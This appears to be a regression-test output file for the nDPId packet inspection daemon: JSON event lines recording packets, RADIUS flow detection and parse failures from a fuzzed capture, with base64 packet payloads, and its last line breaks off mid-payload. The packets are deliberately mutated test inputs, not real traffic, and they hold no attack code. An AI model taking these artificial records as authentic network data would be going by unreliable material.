+01349{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997050,"pkt_ts_usec":187902,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbtOlAAP8RAAAKDEAexuIZPnIQBxQCxwAAATICv5GU17VEoPcQLX8EgXuXJCsaCgAAV8gOBFVTGgwAAFfIDQZ3aWYlAA8AAFfICQlXSVNQUjEwGgkAQzghDQM1NwZbIqS6ATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6byUAaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmE4ZmE0MjI1YiwgNWIyMmE0OWYvZTA6NWYaNDU6OTA6MDk6NWYvMjE2BAasFAEQIA5WWldDMlRlc3RMxWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAyODE1MDE1ODlAd2xBbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFdhoQAABXyAIKU3RhbmRhcmQaEAAAV4wLClRlYnQgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBElAHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOGkTFzQwLjgwNDg4Mk4tNzQuMTAyAjM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4YRYPU3RhZGltbURpqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":79,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1528997050187,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.62","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00596{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997050,"pkt_ts_usec":255179,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+0\/qcNuYVcUnCABFAACl\/HNAAPwRV4nG4hk+CgxAHgcUchAIkVSXCzIAiQCjJQAe3VyUfsXAQgu9DVIBNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE0OWYvZTA6NWY6NDU6OTA6MDk6NWYvMjE2Tw4BAAAMFwwAAAwBf\/xQEnsk2TyvRrElAGPaQu1TGoc="} +01286{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997050,"pkt_ts_usec":383244,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"pkt":"AAAMD6xAABRP+4rqCABFAAKrtOpAAP8RAAAKDEAexuIZPnIQBxQClwAAATMCj3XAts8pgtMIwokQgS0z6XQaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AJQBbCQlXSVNQUjEwGgkAADghDQM1NwZbIqS6ATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjR4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJAStPdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmE5ZmE0MjI1YiwgNWIyMmE0OWYvZTA6NWY6NDU6OTA6MDk6NWYvMjFiBAasFAEQSg5WWldDMlBlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAElBBgAAAAZRBDU2TwoCAAAIFwwAABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIGRFWWlcgQzIgVGVzdCBMYWIaCyAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDKYAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMzAyODM5VxoMAAA4IRQGAAABAhpYAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASp1PPp6fzyd7h983G\/yoSHA=="} +00591{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":82,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997050,"pkt_ts_usec":448221,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFAADA\/Hc3APwRV2rG4hk+CgxAHgcUchAArOXvAzMApAK5\/vK2WJ8qPE8W1U8CkZoBNTAzMTE0ODAyODE1MDE1ODlAd2xhbg5tbmM0ODAu2WNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE0OWYvZSUANWY6NDU6OTA6MDk6tWYXMjE2EiIzMjc2NGFTdWJzY3JpYmVyIG5vdCBwcm92aXdpb25lZE8HwQEABwBQEvaqqqqqqqqqqqqqqqqqqqo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":82,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":83,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1528997046798,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.77.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":83,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1528997046661,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"74.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01309{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":83,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997104,"pkt_ts_usec":586770,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABFAALbIO5WAP8RAAAKDEAexuYZNXIQBxQCJQAAATQCv+aa7vRvKm2pJNxjASYcFmMaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwNwZbIqTwATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwXVZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdGZzZTNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmJmMGE0MjI1YiwgNTQyMmE0ZjAvZjA6Nzk6NjA6ZDFCN2Q6MzcvMjE4BAasFAEQIA5WWtdDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAHdBBgAAAAZRBDU2TzoCAQA4ATAzMRI0ODAwNzM2MzgQNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3ThbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgxrALTIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VyXmAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPUnRhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASLJHJyWe9KDtsOLUZd3kW6Q=="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":83,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711} +00636{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997104,"pkt_ts_usec":799280,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFAADh\/QZEAPwRVsPG4hk1CgxAHgcUchAAzQgPCzQAxXtSKpzAf8BNRiUAokr5DysBNTAzMTE0ODAwN542MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncEhuZXR3b3JrLm9yZyyJNWIyMmE0ZjAvZjA6Nzk6NjA6ZDE6N2Q6MzclADE4T0oBAgBIFwEAAAEFAACKcjsVwlSKKOJtGmnEM40WAgUAJQAILZ6MsQAAKZLBCeu2GRuLAQACCwUAAJ\/BcysACZ\/4FKr5Z9ZbwGpQEmbTcy3rfjC83itm2j6DCO4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":84,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":205} +00456{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":86,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1528997105304,"flow_last_seen":0,"flow_tot_l4_data_len":284,"flow_min_l4_data_len":284,"flow_max_l4_data_len":284,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","l4_proto":88,"flow_datalink":1,"flow_max_packets":15} +00782{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997105,"pkt_ts_usec":304205,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"pkt":"ABRP+4rqcNuYVcUnCABFAAEw\/QtAAPxYVm\/G4hk1CgxAHgcUchABHIJZAjUBFIVrGSOS1oLndVnFKVWnbGoaCwAAV8gbBVNQQxpuAAABNxA068q45YUN\/fhrVdP8LBtW4SmALFtdsWb5hs7\/8\/9n5+eq0Df0PkMMbrFhe6mwiqYImFERNLWmv3lBPH8LOa+rokyY3FJkdnDDQhSYNRCrOtMioCo5aXrsAAJ6j7Kc6YNqYGU8UqSvASgwMzExNDgwMDczUjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNGYwL2YwOjc5OjYwOmQxOjdkOlk3LzIxOFkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBJMzhShZ173Q9M6eXZ8hQzE"} +00457{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":89,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1528997109583,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":254,"flow_datalink":1,"flow_max_packets":15} +01324{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997109,"pkt_ts_usec":583874,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"AAAMB6xAABRP+4rqCABFAALHIPFAAP\/+AAAKDEAexuIZNXIQBxQCswAAATcCq5VZOX5pbnkbLCYZ0nqbgzoaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwNwZbIqT1ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZnBwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2JmMGE0MjI1YiwgNWIyMmE0ZjAvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjE4BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFcwD\/DNAuaveCVbGDkVIwd1IcAwIAIASFDyEaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXiBIGAAAAyRoXAABXUR0RVlpXIEMyIFRlc3QgTGFiGgsAAFdrJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAByOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlJQAaDAAABYMHBsBQSplQElS\/ahHMEatmlfMLiyrCF7k="} +00636{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":92,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997113,"pkt_ts_usec":631938,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFAAvh\/SZAAPwRVqNv4hk1CgxAHgcUchAAzU+kCzgAxaY+TEQIBvIbEM8gxwm8HiEBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNSUAMmE0ZjBKZjA6Nzk6NjA6ZDE6N2Q6MzcvMjE4T0oBAgBIFwEAAAEFAADPr1+7vG3\/htCZ9485+1faAgUAAJ17h25JOQAAmA0tC\/t4G7mLAQACCwUAAM8TNgqzvAoBwPCLdirLFOVQEinOKpiYJ1ox0+WTuvuhy58="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":92,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":205} +00471{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1528997105304,"flow_last_seen":0,"flow_tot_l4_data_len":284,"flow_min_l4_data_len":284,"flow_max_l4_data_len":284,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","l4_proto":88,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00457{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1528997105304,"flow_last_seen":0,"flow_tot_l4_data_len":284,"flow_min_l4_data_len":284,"flow_max_l4_data_len":284,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","l4_proto":88,"flow_datalink":1,"flow_max_packets":15} +00472{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1528997109583,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":254,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00458{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1528997109583,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":254,"flow_datalink":1,"flow_max_packets":15} +01311{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997133,"pkt_ts_usec":564942,"pkt_caplen":745,"pkt_type":2100,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCDRFAALbIPRAAP8RAAAKDEAexnIZNXIQBxQCxwAAAToCv+vfrufmnhCXLUg\/JVwSV1oaCkAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqUNATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTA+OlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zEXNzaW9uLWlkPTEwZiUAMGFjMDAwMDAwYmJmMGE0MjI1YiwgNWIyMmE0ZjAvZjA6N7s6NjA6ZDE6N2Q6MzcvMjE4BAasNAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgEAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzNTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjM14xLjNncHBuZXR3b3JrLm9yZxoUIABXyAcOVlpXQzJUZXMtTGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoBABBXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBNYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQEAOCESD0ludmFsaWQgVmFsdWUaHQAAOMQTFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcuVjdBoMAAAFgwcGwFBKmVASGDIZZLp6RfMCK\/1DfUENrQ=="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":2100} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":96,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1528997134036,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.120.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00673{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997134,"pkt_ts_usec":36207,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABxP+4rqcNuYVcUnCABFAADh\/WZAAPsRV2PG4hk1Cgx4HgcUchAAzWYuCzpCxXGn0Uh9HQ+OyLOqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":99,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1528997134036,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.120.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":99,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1528997134036,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.120.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":99,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1528997212627,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"206.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01349{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997212,"pkt_ts_usec":627458,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4p2CABFAALbIPZAAP8RAAAKDEAezuIZNXIQBxQCxwAAATwCvzm9iAIIk1e98ZWWJBeuNcEaCgAAV8gOBCUAGgwAAFfIDQZ3aWZpJQAAAFfICQlXSVNQUjEwGgkAADghDQMxNwZbIqVcATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQUNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmM0OWE1MjI1YiwgNWIyMmE1NDlOZjA6Nzk6NjA6ZDE6N2Q6MzcvMjE5BgasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAQwIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCHAA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGglqAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":99,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1528997212627,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"206.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01282{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":105,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997217,"pkt_ts_usec":637103,"pkt_caplen":725,"pkt_type":3072,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqDABFAALHIPlAAP8RAAAKDEAexuIZNXIQBxQCswAAAT8Cqw8xhdF672TCSWbkw5Hj930aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMxNwZbIqVhATUwMzFJNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3Bwbld0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LeoyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmZxMGFjMDAwMDAwYmM0OWE1MjI1YiwgNWIyMmE1NDkvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjE5BAasFAEQIA5WWldDMlRlc3RMYWIaWAAAN2MBBgAAAAIGBgAAAAIMBgAABUM9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAnIkFwEAAAsFAADyEldFerwQeByQ1kXOElNqAwIAILdGopoaFA